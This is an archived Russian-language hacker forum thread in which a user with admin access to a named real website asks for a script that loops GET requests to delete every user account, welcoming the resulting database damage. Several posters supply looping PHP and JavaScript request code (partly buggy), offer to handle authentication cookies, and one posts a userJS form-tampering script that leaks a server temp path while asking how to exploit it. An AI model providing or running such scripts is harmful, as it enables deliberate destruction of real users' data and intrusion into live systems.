PDA

Просмотр полной версии : Флудер на JavaScript


Napalmed
13.05.2007, 15:00
Господа, нужен простенький скрипт, который будет постоянно обращаться по заданному адресу, подставляя в передаваемые параметры значение счётчика.

То есть он должен обратиться к
http://www.domain.com/index.php?id1=1&id2=1
затем
http://www.domain.com/index.php?id1=2&id2=2
http://www.domain.com/index.php?id1=3&id2=3
...

и так далее. =)

Могём?

Isis
13.05.2007, 15:05
На php
Чуть не понял, но сделаю как ты написал:
<?php
$sah = 3; // Значение счетчика
for($i = 0; $i <= $sah;; $i++)
{
$fp = fsockopen("http://www.domain.com/index.php?id1=1&id2=".$i, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.domain.com\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
}
?>

Napalmed
13.05.2007, 15:21
Не ребят, если на пхп - нужно будет с авторизацией!

je0n
13.05.2007, 18:33
хм... на ява скрипт приходит в голову только вот так примерно:

count=100 //значение счетчика
for(i=1;i<count;i++)
{
j=i;
window.open('http://domain.com.php?id1='+i+'&id2='+j, '_blank', 'width=620,height=400,resizable=1,scrollbars=1');
}


Но, блин, так у тя система в 5 сек повиснит :)
Я не ас, но кажется, что тут ЯваСкриптом не отделаешься.

Zebra
13.05.2007, 20:49
Яваскриптом по-любэ не тедлаешьсЯ, на худой конец Ajaxом. Но выполнятсья скрипт должен в любом случае браузером, вопрос чьим? имхо решать подобное джаваскриптом странно =/

nerezus
13.05.2007, 21:42
на худой конец Ajaxом. нельзя на другой сервер аяксом.
P.S. аякс - это джаваскрипт.

Zebra
13.05.2007, 21:59
P.S. аякс - это джаваскрипт.
частично))

nerezus
13.05.2007, 22:56
частично)) Почему частично? Вполне можно работать с Ajax без серверного кода.

Zebra
13.05.2007, 22:59
Верю. Исключительно проблема дефиниций. Насколько я знаю, под аяксом подразумевается вся совокупность некоторых функций, выполняемых разными языками для одной цели. в том числе и js. Хотя могу и ошибаться, аосему спорить не буду.

Napalmed
14.05.2007, 00:26
"Но, блин, так у тя система в 5 сек повиснит
Я не ас, но кажется, что тут ЯваСкриптом не отделаешься"
Я сделаю небольшое замедление, сойдёт =) Большое спасибо

"выполнятсья скрипт должен в любом случае браузером, вопрос чьим? имхо решать подобное джаваскриптом странно"
Моим. И тем не менее... ;) На пхп... Если кто может, напишите скрипт, авторизующийся на серваке, сохраняющий куки в файл, ну а потом по уже приведённому примеру... Это было бы просто шоколадно.

je0n
14.05.2007, 00:40
ты хотя бы напиши какие куки устанавливать надо. А там уже постараемся помочь. А лучше сразу сайт говори, чтобы на примере работать.

Napalmed
14.05.2007, 10:22
Сайт www.nnov.ru
У меня есть аккаунт админа
удаление пользователей выполняется гет-запросом вида
http://emo.nnov.ru/?name=uu&user_id=20655&delUserId=20655

20655 - айди юзера. Моя идея в том, чтобы запустить скрипт, который будет удалять всех подряд пользователей. Вместе с ними падают куски бд, что есть очень хорошо. Подробнее я написал ещё вот тут: __http://forum.antichat.ru/showthread.php?p=362657#post362657

invlose
14.05.2007, 20:51
Napalmed

как формируются?юзериды....подр бнее можно
Ajax можно использовать (c помощью userJs)


еще вариант Используя userJs можно просто так же с помощью ajax заружать страницу и считывать юзериды,затем удалять юзеров
Хочешь -- напиши свою асю мне в ЛС и когда будешь в сети(нужен код страницы)

invlose
15.05.2007, 20:09
в коде страницы случайно нашел


<form ..... enctype="multipart/form-data">


Теперь берем Opera и в папку которая прописана в свойствах для javascript(туда можно кидать свои скрипты userJs)

создаем файл wow.js c таким содержимым

// ==UserScript==
// @exclude *
// @include http://emo.nnov.ru/?id*
// ==/UserScript==
document.addEventListener("DOMContentLoaded", Q, false);
function Q(){
var f = document.getElementById('postform');
var t = f.text;
t.parentNode.removeChild(t);
var file = document.createElement('input');
file.type = 'file';
file.name = 'text'; f.appendChild(file);
}



в итоге пробуем залить файл
и вместо сообщения получаем название временной папки /tmp/phpgRIUBz





Вопрос это как-то можно использовать????


внимание:
чтобы отправлять сообщения на том сайте нужно зарегиться

*******************************